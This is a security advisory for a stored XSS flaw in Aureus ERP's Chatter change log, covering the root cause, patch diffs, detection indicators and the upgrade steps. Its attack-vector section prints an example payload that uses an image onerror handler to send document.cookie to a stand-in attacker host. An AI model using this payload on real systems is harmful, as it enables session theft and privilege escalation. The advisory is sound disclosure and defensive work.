CVE-2026-94387: Aureus ERP Stored XSS Vulnerability

CVE-2026-94387 Overview

CVE-2026-94387 is a stored cross-site scripting (XSS) vulnerability in Aureus ERP versions prior to 1.6.0. The flaw resides in the Chatter field-change log, where old_value and new_value entries are rendered without proper output escaping. Any authenticated user with permission to edit tracked text fields can inject arbitrary HTML or JavaScript. The payload executes in the browser of any user who later views the affected record's Chatter panel, including administrators. The issue is tracked under CWE-79: Improper Neutralization of Input During Web Page Generation.

Critical Impact
A low-privileged user can inject persistent script payloads that execute in administrator sessions, enabling session theft, forced actions, and lateral privilege escalation within the ERP environment.

Affected Products

Aureus ERP versions prior to 1.6.0
Aureus ERP v1.5.0 (confirmed vulnerable component: plugins/webkul/chatter/resources/views/filament/infolists/components/messages/content-text-entry.blade.php)
Aureus ERP ChatterNotificationService.php change-log formatter

Discovery Timeline

2026-09-21 - CVE-2026-94387 published to NVD
2026-09-24 - Last updated in NVD database

Technical Details for CVE-2026-94387

Vulnerability Analysis

Aureus ERP's Chatter module records changes to tracked fields and displays the before/after values in an activity feed. In content-text-entry.blade.php, the template rendered $change['old_value'] and $change['new_value'] using the Blade unescaped output syntax {!! ... !!} instead of the escaped syntax {{ ... }}. Blade's {!! !!} writes raw HTML to the response, which allowed any attacker-controlled string stored in these fields to reach the DOM verbatim.

Because the change log is regenerated whenever another user opens the record, the payload becomes persistent (stored XSS). Notifications produced by ChatterNotificationService reused the same unescaped concatenation, extending the sink surface to email and in-app messages. Exploitation requires only edit rights on a tracked text field, so any low-privileged operator can target higher-privileged reviewers.

Root Cause

The root cause is missing output encoding on user-controlled audit-log values. Blade's unescaped echo {!! !!} was used where escaped echo {{ }} or the e() helper was required. The developer assumption that field-change history contains only trusted data was incorrect, since the values originate from user input.

Attack Vector

An authenticated attacker with edit access to a tracked text field submits a payload such as <img src=x onerror=fetch('//attacker/'+document.cookie)> as the field value. The prior value is captured in old_value and the new value in new_value. When a victim views the record's Chatter panel, the browser parses and executes the injected markup in the origin of the ERP application.

The following diff from the upstream patch shows the vulnerable render path and the fix applied in the Blade template:

php

                                                    @if($field === 'due_date')
                                                        {{ \Carbon\Carbon::parse($change['old_value'])->format('F j, Y') }}
                                                    @else
-                                                       {!! is_array($change['old_value']) ? implode(', ', $change['old_value']) : $change['old_value'] !!}
+                                                       {{ is_array($change['old_value']) ? implode(', ', $change['old_value']) : $change['old_value'] }}
                                                    @endif
                                                </span>
                                            @endisset

Source: GitHub Commit 57cf5cf

The notification service was hardened in the same commit by wrapping label and value concatenation with Laravel's e() escape helper:

php

            $new = is_array($new) ? implode(', ', $new) : $new;

            if (isset($change['old_value']) && isset($change['new_value'])) {
-               $rows[] = $label.': '.$old.' → '.$new;
+               $rows[] = e($label).': '.e((string) $old).' → '.e((string) $new);
            } elseif (isset($change['new_value'])) {
-               $rows[] = $label.': '.$new;
+               $rows[] = e($label).': '.e((string) $new);
            }

Source: GitHub Commit 57cf5cf

Detection Methods for CVE-2026-94387

Indicators of Compromise

Chatter records or field-change history entries containing HTML tags such as <script>, <img>, <svg>, or event handlers like onerror=, onload=, onclick=.
Outbound HTTP requests from user browsers to unexpected domains immediately after opening an ERP record with modified tracked fields.
Unexpected session token or cookie transmissions originating from authenticated ERP sessions.
Notification emails generated by ChatterNotificationService that contain raw HTML markup within field-change rows.

Detection Strategies

Query the Aureus ERP database for chatter message and audit tables where old_value or new_value contain angle brackets, javascript: URIs, or common XSS event handlers.
Review web application firewall (WAF) logs for POST requests to Chatter-tracked endpoints containing HTML payloads submitted by non-administrative accounts.
Correlate record-edit events with subsequent anomalous authenticated actions performed by administrators shortly after viewing the same record.

Monitoring Recommendations

Enable Content Security Policy (CSP) reporting to capture inline script execution and unexpected external resource loads originating from ERP pages.
Log and alert on administrative session activity that follows viewing of records recently edited by low-privileged users.
Retain HTTP request bodies for Chatter endpoints so injected payloads can be reconstructed during incident response.

How to Mitigate CVE-2026-94387

Immediate Actions Required

Upgrade Aureus ERP to version 1.6.0 or later, which contains the fix from pull request #1465.
Audit existing Chatter change-log entries for stored payloads and sanitize or remove any records containing HTML markup in old_value or new_value fields.
Rotate session cookies and reset credentials for administrators who may have viewed tainted records prior to patching.

Patch Information

The vendor addressed the vulnerability in commit 57cf5cf, released as part of Aureus ERP v1.6.0. The patch replaces Blade's unescaped output {!! !!} with escaped output {{ }} in content-text-entry.blade.php and applies Laravel's e() helper to values concatenated in ChatterNotificationService.php. See the VulnCheck Security Advisory for Aureus ERP for additional context.

Workarounds

Restrict edit permissions on Chatter-tracked text fields to trusted users until the upgrade to 1.6.0 is completed.
Deploy a strict Content Security Policy that disallows inline scripts and unsanctioned external script sources for the ERP application origin.
Place a WAF rule in front of the ERP application to block request bodies containing HTML tags or JavaScript event handler patterns for Chatter endpoints.

bash

# Upgrade Aureus ERP to the patched release
git fetch --tags
git checkout v1.6.0
composer install --no-dev --optimize-autoloader
php artisan migrate --force
php artisan view:clear
php artisan config:cache